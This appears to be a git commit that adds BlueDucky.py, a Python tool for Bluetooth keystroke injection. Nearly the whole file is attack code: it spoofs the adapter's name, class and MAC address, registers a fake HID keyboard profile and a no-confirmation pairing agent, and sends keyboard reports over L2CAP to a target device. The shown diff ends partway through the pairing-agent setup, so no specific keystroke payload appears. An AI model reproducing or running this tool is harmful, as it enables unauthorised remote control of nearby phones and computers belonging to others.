Create BlueDucky.py
This commit is contained in:
parent
f1897feb34
commit
9e5bfef8b1
|
@ -0,0 +1,842 @@
|
|||
import bluetooth
|
||||
import dbus
|
||||
import dbus.service
|
||||
import dbus.mainloop.glib
|
||||
import logging as log
|
||||
from multiprocessing import Process
|
||||
from threading import Thread
|
||||
import time
|
||||
import binascii
|
||||
from gi.repository import GLib
|
||||
from enum import Enum
|
||||
import subprocess
|
||||
from pydbus import SystemBus
|
||||
import sys
|
||||
import os
|
||||
import re
|
||||
import string
|
||||
|
||||
child_processes = []
|
||||
|
||||
def print_blue_ascii_art():
|
||||
blue_color_code = "\033[34m" # ANSI escape code for blue text
|
||||
reset_color_code = "\033[0m" # ANSI escape code to reset text color
|
||||
|
||||
ascii_art = """
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣄⣤⣤⣄⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡶⠟⠛⠉⠉⠉⠉⠉⠉⠉⠉⠉⠙⠛⠷⢶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢷⣤⡀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣆⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣧⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⣤⣤⣤⣤⣄⣀⡀⠀⠀⢹⣧⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣶⣿⣷⣶⠶⠛⠛⠛⠛⠳⢶⣦⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣯⠉⠉⠉⠉⠉⠛⣷⠀⠀⢿⡄⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⢀⣠⣿⣀⡀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⠀⢀⣀⣀⣤⣴⠟⠀⠀⠸⣧⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⣙⣿⣿⣿⣿⣿⣿⠶⠶⠶⠿⠛⠛⠛⠛⠛⠛⢷⣦⡀⠉⠙⠛⠛⠛⠛⠛⠛⠛⠋⠉⠁⠀⠀⠀⠀⠀⣿⠀⠀⠀
|
||||
⠀⢀⣠⣴⠶⠾⠛⠛⠛⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡀⠀⠀
|
||||
⢠⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
|
||||
⠈⢿⣦⣄⣀⣀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣄⣀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
|
||||
⠀⠀⠈⠉⠛⠛⠛⢻⣟⠛⠛⠛⠛⠛⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠻⠷⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠛⠷⢶⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣴⠶⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⢹⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡇⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣇⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣆⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢶
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣴⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⢀⣤⣤⡀⢀⣤⣤⡀⠀⣤⠀⠀⢀⣤⣄⢀⣤⣤⡀⠀⠀⣤⠀⠀⣠⠀⢀⣄⠀⠀⣠⣤⡀⠀⠀⠀⡀⠀⣠⡀⣠⣤⣤⣠⡀⠀⣤⢀⣤⣤⡀⣤⣤⡀
|
||||
⢸⣯⣹⡗⣿⣿⡏⠀⣼⣿⣇⢰⡿⠉⠃⣿⣿⡍⠀⠀⠀⢿⣤⣦⣿⠀⣾⢿⡆⢾⣯⣝⡃⠀⠀⢰⣿⣆⣿⡧⣿⣽⡍⠘⣷⣸⡏⣾⣿⡯⢸⣯⣩⡿
|
||||
⢸⡟⠉⠀⢿⣶⣶⢰⡿⠟⢻⡾⢷⣴⡆⢿⣶⣶⠄⠀⠀⠸⡿⠻⡿⣼⡿⠟⢿⢤⣭⣿⠟⠀⠀⢸⡇⠻⣿⠃⣿⣼⣶⠀⢻⡟⠀⢿⣧⣶⠸⣿⠻⣧
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⢀⡀⠀⠀⠀⠀⣀⠀⠀⠀⠀⣀⡀⠈⢀⣀⣀⠀⣁⣀⣀⢀⡀⠀⢀⣀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠀⢠⣧⡀⣿⠀⠀⠀⣼⡿⢿⣄⣼⡟⢿⡿⠿⣿⠿⢻⣧⢠⡿⠿⣧⣀⣿⡄⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣧⣾⡟⣷⣿⠀⠀⠘⣿⣀⣸⡟⢹⡿⠟⠁⠀⣿⡀⢸⣏⢿⣇⣠⣿⢻⣏⢿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠁⠀⠙⠙⠁⠘⠋⠀⠀⠀⠈⠉⠉⠀⠘⠁⠀⠀⠀⠉⠁⠈⠁⠀⠉⠉⠁⠈⠋⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀"""
|
||||
|
||||
|
||||
print(blue_color_code + ascii_art + reset_color_code)
|
||||
|
||||
|
||||
def register_hid_profile(iface, addr):
|
||||
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
|
||||
bus = dbus.SystemBus()
|
||||
get_obj = lambda path, iface: dbus.Interface(bus.get_object("org.bluez", path), iface)
|
||||
addr_str = addr.replace(":", "_")
|
||||
path = "/org/bluez/%s/dev_%s" % (iface, addr_str)
|
||||
manager = get_obj("/org/bluez", "org.bluez.ProfileManager1")
|
||||
profile_path = "/test/profile"
|
||||
profile = Profile(bus, profile_path)
|
||||
hid_uuid = "00001124-0000-1000-8000-00805F9B34FB"
|
||||
|
||||
# Hardcoded XML content
|
||||
xml_content = """<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<record>
|
||||
|
||||
<!-- ServiceRecordHandle -->
|
||||
<attribute id="0x0000">
|
||||
<uint32 value="0x00010000" />
|
||||
</attribute>
|
||||
|
||||
<!-- ServiceClassIDList -->
|
||||
<attribute id="0x0001">
|
||||
<sequence>
|
||||
<uuid value="0x1124" />
|
||||
</sequence>
|
||||
</attribute>
|
||||
|
||||
<!-- ProtocolDescriptorList -->
|
||||
<attribute id="0x0004">
|
||||
<sequence>
|
||||
|
||||
<!-- L2CAP PSM 17 -->
|
||||
<sequence>
|
||||
<uuid value="0x0100" />
|
||||
<uint16 value="0x0011" />
|
||||
</sequence>
|
||||
|
||||
<!-- HID Protocol -->
|
||||
<sequence>
|
||||
<uuid value="0x0011" />
|
||||
</sequence>
|
||||
</sequence>
|
||||
</attribute>
|
||||
|
||||
<!-- BrowseGroupList -->
|
||||
<attribute id="0x0005">
|
||||
<sequence>
|
||||
<uuid value="0x1002" />
|
||||
</sequence>
|
||||
</attribute>
|
||||
|
||||
<!-- LanguageBaseAttributeIDList -->
|
||||
<attribute id="0x0006">
|
||||
<sequence>
|
||||
<uint16 value="0x656e" />
|
||||
<uint16 value="0x006a" />
|
||||
<uint16 value="0x0100" />
|
||||
</sequence>
|
||||
</attribute>
|
||||
|
||||
<!-- BluetoothProfileDescriptorList -->
|
||||
<attribute id="0x0009">
|
||||
<sequence>
|
||||
<sequence>
|
||||
<uuid value="0x1124" />
|
||||
<uint16 value="0x0100" />
|
||||
</sequence>
|
||||
</sequence>
|
||||
</attribute>
|
||||
|
||||
<!-- AdditionalProtocolDescriptorList -->
|
||||
<attribute id="0x000d">
|
||||
<sequence>
|
||||
<sequence>
|
||||
|
||||
<!-- L2CAP PSM 19 -->
|
||||
<sequence>
|
||||
<uuid value="0x0100" />
|
||||
<uint16 value="0x0013" />
|
||||
</sequence>
|
||||
|
||||
<!-- HID Protocol -->
|
||||
<sequence>
|
||||
<uuid value="0x0011" />
|
||||
</sequence>
|
||||
</sequence>
|
||||
</sequence>
|
||||
</attribute>
|
||||
|
||||
<!-- ServiceName -->
|
||||
<attribute id="0x0100">
|
||||
<text value="Keyboard" />
|
||||
</attribute>
|
||||
|
||||
<!-- ServiceDescription -->
|
||||
<attribute id="0x0101">
|
||||
<text value="Keyboard" />
|
||||
</attribute>
|
||||
|
||||
<!-- ProviderName -->
|
||||
<attribute id="0x0102">
|
||||
<text value="Keyboard" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: DeviceReleaseNumber -->
|
||||
<attribute id="0x0200">
|
||||
<uint16 value="0x0148" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: ParserVersion -->
|
||||
<attribute id="0x0201">
|
||||
<uint16 value="0x0111" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: DeviceSubclass -->
|
||||
<attribute id="0x0202">
|
||||
<uint8 value="0x40" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: CountryCode -->
|
||||
<attribute id="0x0203">
|
||||
<uint8 value="0x21" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: VirtualCable -->
|
||||
<attribute id="0x0204">
|
||||
<boolean value="true" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: ReconnectInitiate -->
|
||||
<attribute id="0x0205">
|
||||
<boolean value="true" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: DescriptorList -->
|
||||
<attribute id="0x0206">
|
||||
<sequence>
|
||||
<sequence>
|
||||
<uint8 value="0x22" />
|
||||
<text encoding="hex" value="05010906a101850105071500250119e029e775019508810295057501050819012905910295017503910395087501150025010600ff09038103950675081500256505071900296581009501750115002501050c09008101950175010601ff09038102050c09409501750181029501750581030602ff09558555150026ff0075089540b1a2c00600ff0914a101859005847501950315002501096105850944094681029505810175089501150026ff0009658102c00600ff094ba1010600ff094b150026ff008520956b75088102094b852196890275088102094b8522953e75088102c0" />
|
||||
</sequence>
|
||||
</sequence>
|
||||
</attribute>
|
||||
|
||||
<!-- HID: LangIDBaseList -->
|
||||
<attribute id="0x0207">
|
||||
<sequence>
|
||||
<sequence>
|
||||
<uint16 value="0x0409" />
|
||||
<uint16 value="0x0100" />
|
||||
</sequence>
|
||||
</sequence>
|
||||
</attribute>
|
||||
|
||||
<!-- HID: BatteryPower -->
|
||||
<attribute id="0x0209">
|
||||
<boolean value="true" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: RemoteWakeup -->
|
||||
<attribute id="0x020a">
|
||||
<boolean value="true" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: ProfileVersion -->
|
||||
<attribute id="0x020b">
|
||||
<uint16 value="0x0100" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: SupervisionTimeout -->
|
||||
<attribute id="0x020c">
|
||||
<uint16 value="0x0fa0" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: NormallyConnectable -->
|
||||
<attribute id="0x020d">
|
||||
<boolean value="true" />
|
||||
</attribute>
|
||||
|
||||
<!-- HID: BootDevice -->
|
||||
<attribute id="0x020e">
|
||||
<boolean value="true" />
|
||||
</attribute>
|
||||
</record>"""
|
||||
|
||||
opts = {"ServiceRecord": xml_content}
|
||||
log.debug("calling RegisterProfile")
|
||||
manager.RegisterProfile(profile, hid_uuid, opts)
|
||||
loop = GLib.MainLoop()
|
||||
try:
|
||||
log.debug("running dbus loop")
|
||||
loop.run()
|
||||
except KeyboardInterrupt:
|
||||
log.debug("calling UnregisterProfile")
|
||||
manager.UnregisterProfile(profile)
|
||||
|
||||
class Profile(dbus.service.Object):
|
||||
@dbus.service.method("org.bluez.Profile1", in_signature="", out_signature="")
|
||||
def Cancel(self):
|
||||
print("Profile.Cancel")
|
||||
|
||||
class Key_Codes(Enum):
|
||||
NONE = 0x00
|
||||
a = 0x04
|
||||
b = 0x05
|
||||
c = 0x06
|
||||
d = 0x07
|
||||
e = 0x08
|
||||
f = 0x09
|
||||
g = 0x0a
|
||||
h = 0x0b
|
||||
i = 0x0c
|
||||
j = 0x0d
|
||||
k = 0x0e
|
||||
l = 0x0f
|
||||
m = 0x10
|
||||
n = 0x11
|
||||
o = 0x12
|
||||
p = 0x13
|
||||
q = 0x14
|
||||
r = 0x15
|
||||
s = 0x16
|
||||
t = 0x17
|
||||
u = 0x18
|
||||
v = 0x19
|
||||
w = 0x1a
|
||||
x = 0x1b
|
||||
y = 0x1c
|
||||
z = 0x1d
|
||||
A = 0x04
|
||||
B = 0x05
|
||||
C = 0x06
|
||||
D = 0x07
|
||||
E = 0x08
|
||||
F = 0x09
|
||||
G = 0x0a
|
||||
H = 0x0b
|
||||
I = 0x0c
|
||||
J = 0x0d
|
||||
K = 0x0e
|
||||
L = 0x0f
|
||||
M = 0x10
|
||||
N = 0x11
|
||||
O = 0x12
|
||||
P = 0x13
|
||||
Q = 0x14
|
||||
R = 0x15
|
||||
S = 0x16
|
||||
T = 0x17
|
||||
U = 0x18
|
||||
V = 0x19
|
||||
W = 0x1a
|
||||
X = 0x1b
|
||||
Y = 0x1c
|
||||
Z = 0x1d
|
||||
_1 = 0x1e
|
||||
_2 = 0x1f
|
||||
_3 = 0x20
|
||||
_4 = 0x21
|
||||
_5 = 0x22
|
||||
_6 = 0x23
|
||||
_7 = 0x24
|
||||
_8 = 0x25
|
||||
_9 = 0x26
|
||||
_0 = 0x27
|
||||
ENTER = 0x28
|
||||
ESCAPE = 0x29
|
||||
BACKSPACE = 0x2a
|
||||
TAB = 0x2b
|
||||
SPACE = 0x2c
|
||||
MINUS = 0x2d
|
||||
EQUAL = 0x2e
|
||||
LEFTBRACE = 0x2f
|
||||
RIGHTBRACE = 0x30
|
||||
BACKSLASH = 0x31
|
||||
SEMICOLON = 0x33
|
||||
QUOTE = 0x34
|
||||
BACKTICK = 0x35
|
||||
COMMA = 0x36
|
||||
DOT = 0x37
|
||||
SLASH = 0x38
|
||||
CAPSLOCK = 0x39
|
||||
F1 = 0x3a
|
||||
F2 = 0x3b
|
||||
F3 = 0x3c
|
||||
F4 = 0x3d
|
||||
F5 = 0x3e
|
||||
F6 = 0x3f
|
||||
F7 = 0x40
|
||||
F8 = 0x41
|
||||
F9 = 0x42
|
||||
F10 = 0x43
|
||||
F11 = 0x44
|
||||
F12 = 0x45
|
||||
PRINTSCREEN = 0x46
|
||||
SCROLLLOCK = 0x47
|
||||
PAUSE = 0x48
|
||||
INSERT = 0x49
|
||||
HOME = 0x4a
|
||||
PAGEUP = 0x4b
|
||||
DELETE = 0x4c
|
||||
END = 0x4d
|
||||
PAGEDOWN = 0x4e
|
||||
RIGHT = 0x4f
|
||||
LEFT = 0x50
|
||||
DOWN = 0x51
|
||||
UP = 0x52
|
||||
NUMLOCK = 0x53
|
||||
KEYPADSLASH = 0x54
|
||||
KEYPADASTERISK = 0x55
|
||||
KEYPADMINUS = 0x56
|
||||
KEYPADPLUS = 0x57
|
||||
KEYPADENTER = 0x58
|
||||
KEYPAD1 = 0x59
|
||||
KEYPAD2 = 0x5a
|
||||
KEYPAD3 = 0x5b
|
||||
KEYPAD4 = 0x5c
|
||||
KEYPAD5 = 0x5d
|
||||
KEYPAD6 = 0x5e
|
||||
KEYPAD7 = 0x5f
|
||||
KEYPAD8 = 0x60
|
||||
KEYPAD9 = 0x61
|
||||
KEYPAD0 = 0x62
|
||||
KEYPADDELETE = 0x63
|
||||
KEYPADCOMPOSE = 0x65
|
||||
KEYPADPOWER = 0x66
|
||||
KEYPADEQUAL = 0x67
|
||||
F13 = 0x68
|
||||
F14 = 0x69
|
||||
F15 = 0x6a
|
||||
F16 = 0x6b
|
||||
F17 = 0x6c
|
||||
F18 = 0x6d
|
||||
F19 = 0x6e
|
||||
F20 = 0x6f
|
||||
F21 = 0x70
|
||||
F22 = 0x71
|
||||
F23 = 0x72
|
||||
F24 = 0x73
|
||||
OPEN = 0x74
|
||||
HELP = 0x75
|
||||
PROPS = 0x76
|
||||
FRONT = 0x77
|
||||
STOP = 0x78
|
||||
AGAIN = 0x79
|
||||
UNDO = 0x7a
|
||||
CUT = 0x7b
|
||||
COPY = 0x7c
|
||||
PASTE = 0x7d
|
||||
FIND = 0x7e
|
||||
MUTE = 0x7f
|
||||
VOLUMEUP = 0x80
|
||||
VOLUMEDOWN = 0x81
|
||||
LEFTCONTROL = 0xe0
|
||||
LEFTSHIFT = 0xe1
|
||||
LEFTALT = 0xe2
|
||||
LEFTMETA = 0xe3
|
||||
RIGHTCONTROL = 0xe4
|
||||
RIGHTSHIFT = 0xe5
|
||||
RIGHTALT = 0xe6
|
||||
RIGHTMETA = 0xe7
|
||||
MEDIAPLAYPAUSE = 0xe8
|
||||
MEDIASTOPCD = 0xe9
|
||||
MEDIAPREV = 0xea
|
||||
MEDIANEXT = 0xeb
|
||||
MEDIAEJECTCD = 0xec
|
||||
MEDIAVOLUMEUP = 0xed
|
||||
MEDIAVOLUMEDOWN = 0xee
|
||||
MEDIAMUTE = 0xef
|
||||
MEDIAWEBBROWSER = 0xf0
|
||||
MEDIABACK = 0xf1
|
||||
MEDIAFORWARD = 0xf2
|
||||
MEDIASTOP = 0xf3
|
||||
MEDIAFIND = 0xf4
|
||||
MEDIASCROLLUP = 0xf5
|
||||
MEDIASCROLLDOWN = 0xf6
|
||||
MEDIAEDIT = 0xf7
|
||||
MEDIASLEEP = 0xf8
|
||||
MEDIACOFFEE = 0xf9
|
||||
MEDIAREFRESH = 0xfa
|
||||
MEDIACALC = 0xfb
|
||||
|
||||
class ConnectionFailureException(Exception):
|
||||
pass
|
||||
|
||||
class Adapter:
|
||||
def __init__(self, iface):
|
||||
self.iface = iface
|
||||
self.bus = SystemBus()
|
||||
try:
|
||||
self.adapter = self.bus.get("org.bluez", "/org/bluez/%s" % iface)
|
||||
except KeyError:
|
||||
log.error("Unable to find adapter '%s', aborting." % iface)
|
||||
sys.exit(1)
|
||||
self.reset()
|
||||
|
||||
def enable_ssp(self):
|
||||
run(["sudo", "btmgmt", "--index", self.iface, "io-cap", "1"])
|
||||
run(["sudo", "btmgmt", "--index", self.iface, "ssp", "1"])
|
||||
|
||||
def disable_ssp(self):
|
||||
run(["sudo", "btmgmt", "--index", self.iface, "ssp", "0"])
|
||||
|
||||
def set_name(self, name):
|
||||
if self.adapter.Name != name:
|
||||
run(["sudo", "hciconfig", self.iface, "name", name])
|
||||
if name not in run(["hciconfig", self.iface, "name"]).decode():
|
||||
log.error("Unable to set adapter name, aborting.")
|
||||
sys.exit(1)
|
||||
|
||||
def set_class(self, adapter_class):
|
||||
class_hex = "0x%06x" % adapter_class
|
||||
if self.adapter.Class != class_hex:
|
||||
run(["sudo", "hciconfig", self.iface, "class", class_hex])
|
||||
if class_hex not in run(["hciconfig", self.iface, "class"]).decode():
|
||||
log.error("Unable to set adapter class, aborting.")
|
||||
sys.exit(1)
|
||||
|
||||
def set_address(self, address):
|
||||
run(["sudo", "bdaddr", "-i", self.iface, address])
|
||||
self.reset()
|
||||
if address.upper() not in run(["hciconfig", self.iface]).decode():
|
||||
log.error("Unable to set adapter address, aborting.")
|
||||
sys.exit(1)
|
||||
|
||||
def down(self):
|
||||
self.adapter.Powered = False
|
||||
|
||||
def up(self):
|
||||
self.adapter.Powered = True
|
||||
|
||||
def reset(self):
|
||||
self.down()
|
||||
self.up()
|
||||
|
||||
class Agent(dbus.service.Object):
|
||||
@dbus.service.method("org.bluez.Agent1", in_signature="", out_signature="")
|
||||
def Cancel(self):
|
||||
log.debug("Agent.Cancel")
|
||||
|
||||
class PairingAgent:
|
||||
def __init__(self, iface, target_addr):
|
||||
self.iface = iface
|
||||
self.target_addr = target_addr
|
||||
dev_name = "dev_%s" % target_addr.upper().replace(":", "_")
|
||||
self.target_path = "/org/bluez/%s/%s" % (iface, dev_name)
|
||||
|
||||
def __enter__(self):
|
||||
self.agent = Process(target=agent_loop, args=(self.target_path,))
|
||||
self.agent.start()
|
||||
time.sleep(0.25)
|
||||
|
||||
def __exit__(self, a, b, c):
|
||||
self.agent.kill()
|
||||
time.sleep(0.25)
|
||||
|
||||
class L2CAPClient:
|
||||
def __init__(self, addr, port):
|
||||
self.addr = addr
|
||||
self.port = port
|
||||
self.connected = False
|
||||
self.sock = None
|
||||
|
||||
def encode_keyboard_input(*args):
|
||||
keycodes = []
|
||||
modifiers = 0
|
||||
for a in args:
|
||||
if isinstance(a, Key_Codes):
|
||||
if a in [Key_Codes.LEFTSHIFT, Key_Codes.RIGHTSHIFT,
|
||||
Key_Codes.LEFTCONTROL, Key_Codes.RIGHTCONTROL,
|
||||
Key_Codes.LEFTALT, Key_Codes.RIGHTALT,
|
||||
Key_Codes.LEFTMETA, Key_Codes.RIGHTMETA]:
|
||||
# Set the bit for the modifier
|
||||
modifiers |= a.value
|
||||
else:
|
||||
keycodes.append(a.value)
|
||||
assert(len(keycodes) <= 6)
|
||||
keycodes += [0] * (6 - len(keycodes))
|
||||
report = bytes([0xa1, 0x01, modifiers, 0x00] + keycodes)
|
||||
log.debug(f"{report}")
|
||||
return report
|
||||
|
||||
def close(self):
|
||||
if self.connected:
|
||||
self.sock.close()
|
||||
self.connected = False
|
||||
self.sock = None
|
||||
|
||||
def send(self, data):
|
||||
log.debug(f"[TX-{self.port}] Attempting to send data: {binascii.hexlify(data).decode()}")
|
||||
timeout = 0.1
|
||||
start = time.time()
|
||||
while (time.time() - start) < timeout:
|
||||
try:
|
||||
self.sock.send(data)
|
||||
log.debug(f"[TX-{self.port}] Data sent successfully")
|
||||
return
|
||||
except bluetooth.btcommon.BluetoothError as ex:
|
||||
log.error(f"[TX-{self.port}] BluetoothError: {ex}")
|
||||
if ex.errno != 11: # no data available
|
||||
raise ex
|
||||
time.sleep(0.001)
|
||||
except Exception as ex:
|
||||
log.error(f"[TX-{self.port}] Exception: {ex}")
|
||||
self.connected = False
|
||||
log.error(f"[TX-{self.port}] ERROR! Timed out sending data")
|
||||
|
||||
def recv(self, timeout=0):
|
||||
start = time.time()
|
||||
while True:
|
||||
raw = None
|
||||
if not self.connected:
|
||||
return None
|
||||
if self.sock is None:
|
||||
return None
|
||||
try:
|
||||
raw = self.sock.recv(64)
|
||||
if len(raw) == 0:
|
||||
self.connected = False
|
||||
return None
|
||||
log.debug(f"[RX-{self.port}] Received data: {binascii.hexlify(raw).decode()}")
|
||||
except bluetooth.btcommon.BluetoothError as ex:
|
||||
if ex.errno != 11: # no data available
|
||||
raise ex
|
||||
else:
|
||||
if (time.time() - start) < timeout:
|
||||
continue
|
||||
return raw
|
||||
|
||||
def connect(self, timeout=None):
|
||||
log.debug(f"Attempting to connect to {self.addr} on port {self.port}")
|
||||
log.debug("connecting to %s on port %d" % (self.addr, self.port))
|
||||
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
sock.connect((self.addr, self.port))
|
||||
sock.setblocking(0)
|
||||
self.sock = sock
|
||||
self.connected = True
|
||||
log.debug("SUCCESS! connected on port %d" % self.port)
|
||||
except Exception as ex:
|
||||
self.connected = False
|
||||
log.error("ERROR connecting on port %d: %s" % (self.port, ex))
|
||||
raise ConnectionFailureException(f"Connection failure on port {self.port}")
|
||||
|
||||
return self.connected
|
||||
|
||||
def send_keyboard_report(self, *args):
|
||||
self.send(self.encode_keyboard_input(*args))
|
||||
|
||||
def send_keypress(self, *args, delay=0.05):
|
||||
self.send_keyboard_report(*args)
|
||||
time.sleep(0.05)
|
||||
self.send_keyboard_report()
|
||||
time.sleep(0.05)
|
||||
|
||||
class L2CAPConnectionManager:
|
||||
def __init__(self, target_address):
|
||||
self.target_address = target_address
|
||||
self.clients = {}
|
||||
|
||||
def create_connection(self, port):
|
||||
client = L2CAPClient(self.target_address, port)
|
||||
self.clients[port] = client
|
||||
return client
|
||||
|
||||
def connect_all(self):
|
||||
success_count = 0
|
||||
for port, client in self.clients.items():
|
||||
if client.connect():
|
||||
success_count += 1
|
||||
else:
|
||||
log.debug(f"Failed to connect on port {port}")
|
||||
return success_count
|
||||
|
||||
def close_all(self):
|
||||
for client in self.clients.values():
|
||||
client.close()
|
||||
|
||||
def run(command):
|
||||
assert(isinstance(command, list))
|
||||
log.debug("executing '%s'" % " ".join(command))
|
||||
return subprocess.check_output(command, stderr=subprocess.PIPE)
|
||||
|
||||
def restart_bluetooth_daemon():
|
||||
run(["sudo", "service", "bluetooth", "restart"])
|
||||
time.sleep(0.5)
|
||||
|
||||
def clear_screen():
|
||||
os.system('clear')
|
||||
|
||||
def agent_loop(target_path):
|
||||
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
|
||||
loop = GLib.MainLoop()
|
||||
bus = dbus.SystemBus()
|
||||
path = "/test/agent"
|
||||
agent = Agent(bus, path)
|
||||
agent.target_path = target_path
|
||||
obj = bus.get_object("org.bluez", "/org/bluez")
|
||||
manager = dbus.Interface(obj, "org.bluez.AgentManager1")
|
||||
manager.RegisterAgent(path, "NoInputNoOutput")
|
||||
